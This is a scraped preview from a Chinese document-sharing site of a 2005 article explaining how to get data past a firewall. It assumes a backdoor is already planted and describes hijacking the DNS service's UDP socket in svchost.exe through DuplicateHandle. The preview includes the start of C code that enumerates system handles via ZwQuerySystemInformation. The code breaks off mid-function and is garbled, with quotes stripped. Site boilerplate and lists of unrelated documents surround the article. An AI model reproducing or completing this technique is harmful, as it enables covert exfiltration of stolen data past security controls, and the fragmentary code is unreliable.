- 1、本文档共11页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
一种新的穿透防火墙的数据传输技术
使用该技术背景:在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况严重不推荐使用该技术(后面我会讲到为什么).????针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:1. 找出目标进程2. 找出SOCKET句柄2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.3. 用转换后的SOCKET进行数据传输????上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.????看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的黄金大道.????我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.具体解决方法请细看注释部分.../*++??Made By ZwelL??zwell@??2005.4.12--*/#include winsock2.h#include stdio.h#include wtsapi32.h#pragma comment(lib, ws2_32)#pragma comment(lib, wtsapi32)#define NT_SUCCESS(status)??????????((NTSTATUS)(status)=0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)typedef LONG????NTSTATUS;typedef struct _SYSTEM_HANDLE_INFORMATION{????ULONG????????????ProcessId;????UCHAR????????????ObjectTypeNumber;????UCHAR????????????Flags;????USHORT????????????Handle;????PVOID????????????Object;????ACCESS_MASK????????GrantedAccess;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;BOOL LocateNtdllEntry ( void ){????BOOL????ret???????? = FALSE;????char????NTDLL_DLL[] = ntdll.dll;????HMODULE ntdll_dll?? = NULL;????if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )????{????????printf( GetModuleHandle() failed);????????return( FALSE );????}????if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, ZwQuerySystemInformation ) ) )????{????????goto LocateNtdllEntry_exit;????}????ret = TR
您可能关注的文档
- 一种新型的调频收音机电台有哪些信誉好的足球投注网站方案.doc
- 一种新型连续钢带生产线的张力控制器.doc
- 一种新型苯磺酸光致产酸剂的合成.doc
- 一种新型过滤装置.doc
- 一种新型近钻头地质导向系统的设计与实现.doc
- 一种新型质子交换膜及其质子传输功能的研究.doc
- 一种新型节能高效风力干燥系统的应用及研究.docx
- 一种新型轴流式压缩机的特点与优势.doc
- 一种新型高压大功率小信号放大电路(UC3637+IR2110).doc
- 一种新的协作的路由协议:C-DSR.doc
- 2025山东大学(青岛校区)微生物技术研究院李盛英教授团队招聘模拟试卷附答案详解(完整版).docx
- 2025年西林县气象局招聘编外聘用人员(4人)考前自测高频考点模拟试题含答案详解(预热题).docx
- 2025年洞口县文化旅游广电体育局选调洞口县美术馆(黄铁山美术馆笔试备考试题及答案详解参考.docx
- 2025年度国务院国资委纺织机关服务中心招聘(1人)模拟试卷及答案详解(基础+提升).docx
- 2025年乐昌市梅花镇招聘村基层公共服务站系统操作员(3人)笔试备考试题及答案详解(名师系列).docx
- 2025年广西职业师范学院上半年招聘教职人员控制数人员(30人)笔试备考试题含答案详解(基础题).docx
- 2025年呼伦贝尔市纪委监委所属事业单位引进人才(8人)笔试备考试题含答案详解(b卷).docx
- 2025年呼伦贝尔市纪委监委所属事业单位引进人才(8人)笔试备考试题含答案详解(实用).docx
- 2025年田东县市场监督管理局选聘法律顾问的(1人)考前自测高频考点模拟试题附答案详解(达标题).docx
- 2025年广州黄埔区长洲街道招聘政府聘员(3人)模拟试卷附答案详解(精练).docx
最近下载
- 03K404 低温热水地板辐射供暖系统施工安装-标准设计图集.pdf
- 龙舟竞渡 课件 人美版2025初中美术七年级下册.pptx
- 云南省康养产业发展分析 .docx
- 神经内科疾病治疗中的护理人文关怀.pptx
- 中国石油化工股份有限公司茂名分公司化工火炬系统完善改造项目环境影响报告书.docx VIP
- ABC安百川AD800高性能矢量变频器产品说明书-V5.1标准版(中文).pdf
- T_BJWA 005—2022_水质17O-NMR半高峰宽测定核磁共振法.pdf
- 衡重式挡土墙标准设计图集(QBR6001-2-2018).pdf
- 《矿产资源法》课件.pptx VIP
- 新解读《GB_T 43587 - 2023老人鞋》必威体育精装版解读.pptx VIP
文档评论(0)